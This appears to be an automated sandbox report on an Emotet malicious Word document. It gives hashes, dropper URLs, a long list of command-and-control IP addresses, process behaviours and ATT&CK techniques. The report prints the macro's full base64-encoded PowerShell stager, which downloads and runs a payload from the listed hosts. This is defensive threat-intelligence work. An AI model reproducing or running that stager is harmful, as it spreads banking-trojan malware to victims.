emotet | fd7b7f33f8d748877cc3d3aab1adf3c605b39b1680db53ca839786f6cc19872f

Analysis

max time kernel
143s
max time network
152s
platform
windows10_x64
resource
win10
submitted
19/08/2020, 13:34

Sharing

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General

Target
emotet_e1_fd7b7f33f8d748877cc3d3aab1adf3c605b39b1680db53ca839786f6cc19872f_2020-08-19__133345._doc.doc
Size 246KB
Sample200819-e42r2pbkfe
SHA256 fd7b7f33f8d748877cc3d3aab1adf3c605b39b1680db53ca839786f6cc19872f
MD5 23a9e9788040e104c0d1cd8e1b1b6d01
SHA1 1023a0dd3e67028cbc2afe0d2cbf1c0e5d6fac71
SHA512 fc7604eab73e77d4947738cf80cc35009f9f271cbd521c2177a8e2ec8f893a23a53d8178e93a35d457fb73fba1c29a0183e19cffc11e37488357436733200cb0
MD5 SHA1 SHA512

Score

10^/10

trojan banker emotet

Malware Config

Extracted

Language

Source

URLs

exe.dropper
http://sonacars.com/sys-cache/f/
exe.dropper
http://abcv5.com/wp-includes/7/
exe.dropper
http://simonwhite.us/sys-cache/q0/
exe.dropper
http://benitezseguros.com.ar/dkywlkxs/Gd/
exe.dropper
http://reiget.com/z4utsk/n70/
exe.dropper
https://speedypush.com/wp-content/Eb/

Extracted

Family

emotet

82.163.245.38:80
209.126.6.222:8080
5.153.250.14:8080
186.70.127.199:8090
190.128.173.10:80
190.195.129.227:8090
91.219.169.180:80
45.173.88.33:80
185.33.0.233:80
188.2.217.94:80
207.144.103.227:80
45.161.242.102:80
219.92.13.25:80
190.163.31.26:80
68.183.170.114:8080
191.99.160.58:80
73.213.208.163:80
94.176.234.118:443
104.131.41.185:8080
45.33.77.42:8080
114.109.179.60:80
213.60.96.117:80
41.84.248.134:443
83.169.21.32:7080
82.76.111.249:443
217.199.160.224:7080
80.249.176.206:80
82.196.15.205:8080
204.225.249.100:7080
190.6.193.152:8080
189.2.177.210:443
177.72.13.80:80
24.135.1.177:80
190.115.18.139:8080
192.241.146.84:8080
209.236.123.42:8080
213.176.36.147:8080
5.196.35.138:7080
104.131.103.37:8080
51.159.23.217:443
190.147.137.153:443
149.62.173.247:8080
137.74.106.111:7080
61.92.159.208:8080
177.73.0.98:443
24.135.198.218:80
85.105.140.135:443
187.162.248.237:80
46.28.111.142:7080
116.125.120.88:443
87.106.46.107:8080
212.71.237.140:8080
12.162.84.2:8080
178.79.163.131:8080
111.67.12.221:8080
95.9.180.128:80
192.241.143.52:8080
201.171.150.41:443
24.148.98.177:80
190.190.148.27:8080
186.103.141.250:443
72.47.248.48:7080
68.183.190.199:8080
172.104.169.32:8080
185.94.252.12:80
178.250.54.208:8080
91.222.77.105:80
217.13.106.14:8080
77.90.136.129:8080
2.47.112.152:80
95.180.234.21:80
186.250.52.226:8080
181.129.96.162:8080
77.55.211.77:8080
185.94.252.27:443
174.100.27.229:80
177.74.228.34:80
67.247.242.247:80
95.85.151.205:80
70.32.115.157:8080
89.32.150.160:8080
212.93.117.170:80
50.28.51.143:8080
94.206.45.18:80
202.4.57.96:80
191.182.6.118:80
58.171.153.81:80
143.0.87.101:80
51.255.165.160:8080
70.32.84.74:8080
73.116.193.136:80
170.81.48.2:80

rsa_pubkey.plain

Signatures

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3732	3912	powersheLL.exe	68

Emotet Payload 4 IoCs

Detects Emotet payload in memory.

resource	yara_rule
behavioral2/memory/3352-16-0x00000000022F0000-0x00000000022FC000-memory.dmp	emotet
behavioral2/memory/3352-16-0x00000000022F0000-0x00000000022FC000-memory.dmp	emotet
behavioral2/memory/1160-19-0x00000000004F0000-0x00000000004FC000-memory.dmp	emotet
behavioral2/memory/1160-19-0x00000000004F0000-0x00000000004FC000-memory.dmp	emotet

Blacklisted process makes network request 2 IoCs

flow	pid	Process
9	3732	powersheLL.exe
19	3732	powersheLL.exe

Executes dropped EXE 2 IoCs

pid	Process
3352	Szrww6tn.exe
1160	AuditNativeSnapIn.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\sppinst\AuditNativeSnapIn.exe	Szrww6tn.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

pid	Process
720	WINWORD.EXE
720	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 7 IoCs

pid	Process
3732	powersheLL.exe
3732	powersheLL.exe
3732	powersheLL.exe
1160	AuditNativeSnapIn.exe
1160	AuditNativeSnapIn.exe
1160	AuditNativeSnapIn.exe
1160	AuditNativeSnapIn.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	3732	powersheLL.exe

Suspicious use of SetWindowsHookEx 13 IoCs

pid	Process
720	WINWORD.EXE
720	WINWORD.EXE
720	WINWORD.EXE
720	WINWORD.EXE
720	WINWORD.EXE
720	WINWORD.EXE
720	WINWORD.EXE
720	WINWORD.EXE
720	WINWORD.EXE
3352	Szrww6tn.exe
3352	Szrww6tn.exe
1160	AuditNativeSnapIn.exe
1160	AuditNativeSnapIn.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 3732 wrote to memory of 3352	3732	powersheLL.exe	75
PID 3732 wrote to memory of 3352	3732	powersheLL.exe	75
PID 3732 wrote to memory of 3352	3732	powersheLL.exe	75
PID 3352 wrote to memory of 1160	3352	Szrww6tn.exe	76
PID 3352 wrote to memory of 1160	3352	Szrww6tn.exe	76
PID 3352 wrote to memory of 1160	3352	Szrww6tn.exe	76

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e1_fd7b7f33f8d748877cc3d3aab1adf3c605b39b1680db53ca839786f6cc19872f_2020-08-19__133345._doc.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:720

C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exe
powersheLL -e JABTADgAZgA4AHAAYgBpAD0AKAAnAFMAZQAyAGMAbQAnACsAJwBkACcAKwAnADIAJwApADsALgAoACcAbgBlAHcALQBpAHQAJwArACcAZQBtACcAKQAgACQAZQBuAFYAOgB0AEUATQBwAFwAbwBmAGYASQBjAGUAMgAwADEAOQAgAC0AaQB0AGUAbQB0AHkAcABlACAARABpAFIARQBDAHQAbwBSAFkAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAFMARQBDAFUAYABSAGAASQB0AHkAUAByAG8AVABPAGMAYABPAEwAIgAgAD0AIAAoACcAdABsAHMAMQAyACwAIAB0AGwAcwAxACcAKwAnADEALAAgACcAKwAnAHQAJwArACcAbAAnACsAJwBzACcAKQA7ACQARgA4AHMAYgAwAGkAMAAgAD0AIAAoACcAUwB6AHIAJwArACcAdwB3ADYAJwArACcAdABuACcAKQA7ACQARwBtAHAAaABpADMAZQA9ACgAJwBEAHAAJwArACcAOQAnACsAJwBlAGMAagA2ACcAKQA7ACQAWABwAHEAcAB1ADgAbAA9ACQAZQBuAHYAOgB0AGUAbQBwACsAKAAoACcAewAwAH0ATwBmAGYAJwArACcAaQBjACcAKwAnAGUAJwArACcAMgAwADEAOQB7ADAAJwArACcAfQAnACkALQBGACAAWwBDAEgAYQByAF0AOQAyACkAKwAkAEYAOABzAGIAMABpADAAKwAoACcALgBlACcAKwAnAHgAZQAnACkAOwAkAEEAMQBwAGcAagAzAGUAPQAoACcAWgBsAGoAJwArACcAMwBtADkANQAnACkAOwAkAFUAMQBuAG8AYQBjAGsAPQAmACgAJwBuAGUAdwAnACsAJwAtAG8AYgBqAGUAJwArACcAYwB0ACcAKQAgAG4AZQBUAC4AdwBlAGIAQwBMAGkARQBuAHQAOwAkAEcAMwBvAHYAbQAxAGoAPQAoACcAaAAnACsAJwB0AHQAJwArACcAcAA6AC8ALwBzAG8AbgBhAGMAJwArACcAYQByAHMAJwArACcALgBjACcAKwAnAG8AbQAvAHMAeQBzAC0AYwBhAGMAaAAnACsAJwBlAC8AZgAvACoAaAB0AHQAcAAnACsAJwA6ACcAKwAnAC8ALwBhAGIAYwB2ADUAJwArACcALgAnACsAJwBjAG8AbQAvAHcAcAAnACsAJwAtAGkAbgBjAGwAdQBkAGUAcwAvADcALwAnACsAJwAqAGgAdAB0AHAAOgAvAC8AcwBpAG0AbwBuAHcAaABpAHQAZQAnACsAJwAuAHUAcwAvAHMAeQBzACcAKwAnAC0AJwArACcAYwBhACcAKwAnAGMAaAAnACsAJwBlAC8AcQAnACsAJwAwAC8AJwArACcAKgAnACsAJwBoAHQAdABwADoALwAvAGIAZQBuAGkAdAAnACsAJwBlAHoAJwArACcAcwAnACsAJwBlAGcAJwArACcAdQByAG8AcwAnACsAJwAuAGMAJwArACcAbwBtAC4AJwArACcAYQByACcAKwAnAC8AZABrAHkAdwAnACsAJwBsAGsAeABzAC8AJwArACcARwBkAC8AKgBoACcAKwAnAHQAdABwADoALwAvACcAKwAnAHIAZQBpAGcAZQAnACsAJwB0ACcAKwAnAC4AYwBvACcAKwAnAG0AJwArACcALwB6ADQAdQB0AHMAawAvAG4ANwAnACsAJwAwAC8AKgBoACcAKwAnAHQAdAAnACsAJwBwAHMAJwArACcAOgAnACsAJwAvAC8AcwAnACsAJwBwAGUAZQBkAHkAcAB1AHMAaAAuAGMAbwBtAC8AdwBwAC0AYwBvAG4AdABlAG4AdAAvAEUAYgAvACcAKQAuACIAUwBwAGAAbABJAFQAIgAoAFsAYwBoAGEAcgBdADQAMgApADsAJABVAHEAZgB6ADQAaQByAD0AKAAnAFEAJwArACcAZABoAHkANABvACcAKwAnAHgAJwApADsAZgBvAHIAZQBhAGMAaAAoACQASgA5AHoAZQA2AGoAXwAgAGkAbgAgACQARwAzAG8AdgBtADEAagApAHsAdAByAHkAewAkAFUAMQBuAG8AYQBjAGsALgAiAGQAbwBXAGAATgBgAGwAbwBBAGQAZgBgAGkATABlACIAKAAkAEoAOQB6AGUANgBqAF8ALAAgACQAWABwAHEAcAB1ADgAbAApADsAJABQAHAAdwBmAGQAZwBoAD0AKAAnAEYAJwArACcAagBpADgAcwAnACsAJwBuAHcAJwApADsASQBmACAAKAAoACYAKAAnAEcAZQB0AC0ASQB0ACcAKwAnAGUAbQAnACkAIAAkAFgAcABxAHAAdQA4AGwAKQAuACIAbABFAGAATgBgAEcAdABoACIAIAAtAGcAZQAgADIANAA0ADMANgApACAAewAmACgAJwBJAG4AdgBvAGsAZQAtAEkAJwArACcAdABlACcAKwAnAG0AJwApACgAJABYAHAAcQBwAHUAOABsACkAOwAkAE8AbQB4AGQAZgBvADMAPQAoACcAQwB1ACcAKwAnAGYAdgByAG4AJwArACcAdwAnACkAOwBiAHIAZQBhAGsAOwAkAFcAZgA4AGwAegBsAHcAPQAoACcAUgByAHQAYQB2ADYAJwArACcAagAnACkAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAFoAYwBqAGMAYQBsAHEAPQAoACcAVgAnACsAJwA4AGEAeABiADgAMgAnACkA
1⤵
- Process spawned unexpected child process
- Blacklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3732
- C:\Users\Admin\AppData\Local\Temp\Office2019\Szrww6tn.exe
  "C:\Users\Admin\AppData\Local\Temp\Office2019\Szrww6tn.exe"
  2⤵
  - Executes dropped EXE
  - Drops file in System32 directory
  - Suspicious use of SetWindowsHookEx
  - Suspicious use of WriteProcessMemory
  PID:3352
- - C:\Windows\SysWOW64\sppinst\AuditNativeSnapIn.exe
    "C:\Windows\SysWOW64\sppinst\AuditNativeSnapIn.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of SetWindowsHookEx
    PID:1160

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/720-5-0x000001BAC867A000-0x000001BAC867F000-memory.dmp

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memory/720-2-0x000001BACA7AD000-0x000001BACA7BE000-memory.dmp

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memory/720-0-0x00007FFFB8FB0000-0x00007FFFB9676000-memory.dmp

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memory/720-6-0x000001BACA977000-0x000001BACA97F000-memory.dmp

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memory/720-7-0x000001BACA977000-0x000001BACA97F000-memory.dmp

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memory/720-8-0x000001BACA977000-0x000001BACA97F000-memory.dmp

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memory/720-9-0x000001BACA977000-0x000001BACA97F000-memory.dmp

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memory/720-1-0x000001BACA7AD000-0x000001BACA7BE000-memory.dmp

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memory/720-4-0x000001BACA7AD000-0x000001BACA7BE000-memory.dmp

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memory/720-3-0x000001BACA7AD000-0x000001BACA7BE000-memory.dmp

Download

memory/1160-19-0x00000000004F0000-0x00000000004FC000-memory.dmp

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memory/3352-16-0x00000000022F0000-0x00000000022FC000-memory.dmp

Download

memory/3732-12-0x000001D06E040000-0x000001D06E041000-memory.dmp

Download

memory/3732-11-0x000001D06DE90000-0x000001D06DE91000-memory.dmp

Download

memory/3732-10-0x00007FFFB1670000-0x00007FFFB205C000-memory.dmp

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